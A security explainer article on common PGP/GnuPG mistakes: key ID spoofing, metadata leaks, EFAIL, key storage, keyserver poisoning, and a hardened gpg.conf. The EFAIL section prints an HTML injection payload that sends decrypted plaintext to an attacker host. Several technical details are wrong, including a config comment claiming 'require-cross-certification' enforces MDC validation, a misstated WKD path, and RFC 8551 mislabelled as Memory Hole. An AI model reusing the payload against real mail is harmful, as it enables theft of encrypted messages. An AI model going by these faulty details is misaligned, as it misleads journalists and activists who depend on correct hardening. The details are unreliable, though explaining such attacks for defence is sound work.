Common PGP Mistakes That Compromise Your Security

Discover common PGP encryption mistakes that expose communications to adversaries, including EFAIL, metadata leaks, subkey mismanagement, and key ID spoofi

On this page

While OpenPGP (standardized under RFC 4880 and updated in RFC 9580) remains a cornerstone of asymmetric cryptography for journalists, activists, and security practitioners, its operational security profile is notoriously unforgiving. The cryptographic primitives underlying OpenPGP—such as RSA, Ed25519, AES, and ChaCha20—are mathematically sound when implemented correctly. However, catastrophic failures rarely stem from broken mathematics; they emerge from operational oversights, implementation bugs, metadata leakage, and outdated configurations. Understanding these architectural pitfalls is essential for maintaining confidentiality and message integrity in adversarial environments.

Conflating the Primary Certification Key with Daily-Use Subkeys

One of the most dangerous operational errors is generating a master key pair and keeping the private key on an internet-connected daily workstation. In GnuPG (GPG), an OpenPGP identity revolves around a primary key paired with multiple subordinate keys (subkeys), each designated with specific capability flags: [C] for Certify, [S] for Sign, [E] for Encrypt, and [A] for Authenticate.

The primary key's most critical responsibility is certification: signing new subkeys, modifying identities (User IDs), and signing the keys of others within the Web of Trust. If an attacker compromises your primary secret key, they possess irrevocable control over your cryptographic identity. They can generate valid subkeys, issue arbitrary certifications, and prevent you from publishing an authoritative revocation.

A hardened operational model isolates the primary secret key offline:

  1. Generate the master key and subkeys on an air-gapped machine (such as an ephemeral Tails instance).
  2. Create a dedicated revocation certificate immediately using gpg --gen-revoke.
  3. Export the subkey material independently using gpg --export-secret-subkeys and transfer only these operational subkeys to your daily machine.
  4. Back up the primary private key to redundant, air-gapped, encrypted physical media (e.g., write-blocked USB drives or paper keys via Paperkey) and remove the primary secret key entirely from daily environments.

Trusting Short and Long Key IDs Instead of Full Fingerprints

Historically, OpenPGP implementations and user interfaces abbreviated keys to facilitate human readability. A short key ID consists of the lower 32 bits (8 hexadecimal characters) of the fingerprint, while a long key ID consists of the lower 64 bits (16 hexadecimal characters). Relying on either identifier for verification or key retrieval introduces severe vulnerability to preimage and collision attacks.

Generating a 32-bit key ID collision requires evaluating only $2^{32}$ keys, an operation feasible on consumer hardware in mere seconds. Attackers have routinely flooded legacy public keyservers with rogue keys matching legitimate 32-bit and even 64-bit IDs. In 2016, researchers demonstrated "evil32", generating duplicate 32-bit keys for the entire Web of Trust directory.

# INSECURE: Searching or receiving by Short or Long Key ID
gpg --recv-keys 0xDEADBEEF
gpg --recv-keys 0x01234567DEADBEEF

# SECURE: Always specify the complete 160-bit (v4) or 256-bit (v5/v6) fingerprint
gpg --recv-keys 8F17E65C883A992A9B7DE03F34292437DEADBEEF

Clients that consume truncated IDs can be tricked into encrypting data to an attacker-controlled public key or validating a malicious signature masquerading as a trusted colleague. Strict verification requires validating the full, continuous cryptographic fingerprint over an authenticated, out-of-band channel.

Metadata Blindness and Transport-Layer Leakage

A widespread misconception among new users is that PGP provides holistic email privacy. PGP encrypts only the payload—the message body and any attached files. It fundamentally does not, and cannot, encrypt the outer transport headers defined by RFC 5322.

When an encrypted email traverses the Simple Mail Transfer Protocol (SMTP) infrastructure, the following structural metadata remains completely exposed in plaintext to intermediate mail transfer agents, corporate gateways, and passive network eavesdroppers:

  • Sender and Recipient: Plaintext addresses in the From:, To:, and Cc: headers.
  • Subject Line: The Subject: field is completely visible unless specifically wrapped in RFC 8551 / Memory Hole standards.
  • Timestamps: Exact transmission and relay times, allowing precise traffic correlation.
  • Message Size: Precise payload byte size, which can be correlated with public documents or exfiltrated datasets.
  • Public Key IDs: By default, an OpenPGP encrypted message payload embeds the recipient's Key ID inside the Public-Key Encrypted Session Key (PKESK) packet, advertising precisely who the message is intended for.

To obscure the recipient's identity inside the OpenPGP packet stream, configure GnuPG with the --throw-keyids flag (or add throw-keyids to gpg.conf). This forces the recipient to attempt decryption with every available secret key, mitigating public key disclosure inside the encrypted payload.

The EFAIL Attack Vector and Active Content Exfiltration

In 2018, researchers disclosed the EFAIL vulnerabilities, demonstrating how modern email clients routinely undermine PGP's cryptographic guarantees through insecure HTML rendering and improperly implemented MIME parsing.

MDC Manipulation and Ciphertext Malleability

Legacy OpenPGP utilized Symmetrically Encrypted Data (SED) packets without authenticated encryption. While RFC 4880 introduced the Symmetrically Encrypted Integrity Protected Data (SEIPD) packet containing a Modification Detection Code (MDC) based on SHA-1, many legacy email clients continued to process messages when MDC validation failed, treating integrity errors merely as non-fatal warnings.

Because OpenPGP traditionally operates symmetric ciphers in Cipher Feedback (CFB) mode, an active network attacker can manipulate ciphertext blocks without knowing the decryption key. In an EFAIL attack, an adversary intercepts encrypted ciphertext and surrounds it with malicious HTML injection primitives:

<html><body><img src="https://attacker.com/log?leak=
[INTERCEPTED ENCRYPTED CIPHERTEXT HERE]
"></body></html>

When the recipient's client decrypts this composite MIME structure, the client interprets the injected HTML tags. If the email client automatically executes external web requests, the decrypted plaintext is appended directly to the attacker's URL parameter and exfiltrated over HTTPS. Mitigating this risk requires strict client-side isolation: disabling HTML rendering entirely, blocking remote content loading, and utilizing clients that enforce strict SEIPD/AEAD validation.

Insecure Local Key Storage and Memory Vulnerabilities

Even an unbroken cryptographic channel provides no security if the endpoint hosting the secret keys is compromised. Writing secret key files directly to unencrypted local storage or keeping decrypted keys continuously cached in system memory exposes keys to extraction via local privilege escalation or physical seizure.

Common storage antipatterns include:

  • Persistently Unlocked GPG Agents: Setting infinite default-cache-ttl and max-cache-ttl values in gpg-agent.conf, ensuring that private keys remain persistently loaded in process memory where they are vulnerable to root-level memory scrapers.
  • Unencrypted Swap Partitions: Systems without encrypted swap may swap out parts of the gpg-agent memory space to disk, leaving key material recoverable long after the machine powers down.
  • Unprotected Key Backups: Storing unpassphrased or poorly passphrased private key files in standard user home directories, synchronized cloud storage, or unencrypted local backups.

To protect key material on daily-use machines, security professionals rely on hardware security modules (HSMs) or OpenPGP smartcards (such as YubiKeys or Nitrokeys). When using a smartcard, the private subkeys are written directly to tamper-resistant secure elements via the CCID interface. Cryptographic operations (signing, decryption) execute within the card itself; the private key never enters host RAM and cannot be extracted via host-level malware.

Key Distribution Pitfalls: SKS Pools vs. WKD and Modern Standards

For decades, users synchronized public keys using the decentralized Synchronizing Key Server (SKS) network. The core design of SKS contained a fatal vulnerability: it treated key modifications as an append-only graph that anyone could modify without authorization. This led directly to key-poisoning attacks (e.g., "SKS Poisoning"), where attackers appended tens of thousands of signatures or certificate revocations to targets' public keys, causing GnuPG to crash under an amplification denial of service whenever it imported the key.

Relying on deprecated keyservers (such as hkp://pool.sks-keyservers.net) is an obsolete practice. Secure key discovery today relies on authenticating the link between an email domain and a public key through modern, controlled protocols:

  • Web Key Directory (WKD): A direct HTTPS-based discovery mechanism where the organization hosting the email domain serves public keys over a strictly defined URI path (https://openpgp.org/wkd/), eliminating unauthenticated third-party modifications.
  • Hagrid Keyservers: Verified keyserver implementations (such as keys.openpgp.org) that strip non-essential third-party signatures and require cryptographic proof of address ownership via email confirmation before indexing public keys.
  • DANE/OPENPGPKEY: Publishing base64-encoded public keys directly in DNS resource records secured by DNSSEC.

Hardening the OpenPGP Profile

To resist both legacy attack vectors and modern cryptanalysis, audit your local GnuPG environment. Create or adjust your ~/.gnupg/gpg.conf to enforce modern cryptographic primitives, disable legacy fallbacks, and strictly validate network communication:

# Disable legacy algorithms and hashes
personal-cipher-preferences AES256 AES192 AES
personal-digest-preferences SHA512 SHA384 SHA256
personal-compress-preferences ZLIB BZIP2 ZIP Uncompressed

# Enforce highest digest algorithm for certification
cert-digest-algo SHA512
default-preference-list SHA512 SHA384 SHA256 AES256 AES192 AES ZLIB BZIP2 ZIP Uncompressed

# Display full fingerprints; reject short IDs
keyid-format 0xlong
with-fingerprint

# Prevent recipient identity leaks
throw-keyids

# Enforce MDC validation
require-cross-certification

PGP does not forgive configuration oversights. Real-world privacy requires treating cryptographic tooling not as a set-and-forget utility, but as a rigid discipline involving hardware isolation, strict transport hygiene, and constant defense against active content threats.

Keywords
PGP encryptionOpenPGPGnuPG securitykey managementEFAIL attackcryptographic subkeysmetadata leakageapplied cryptography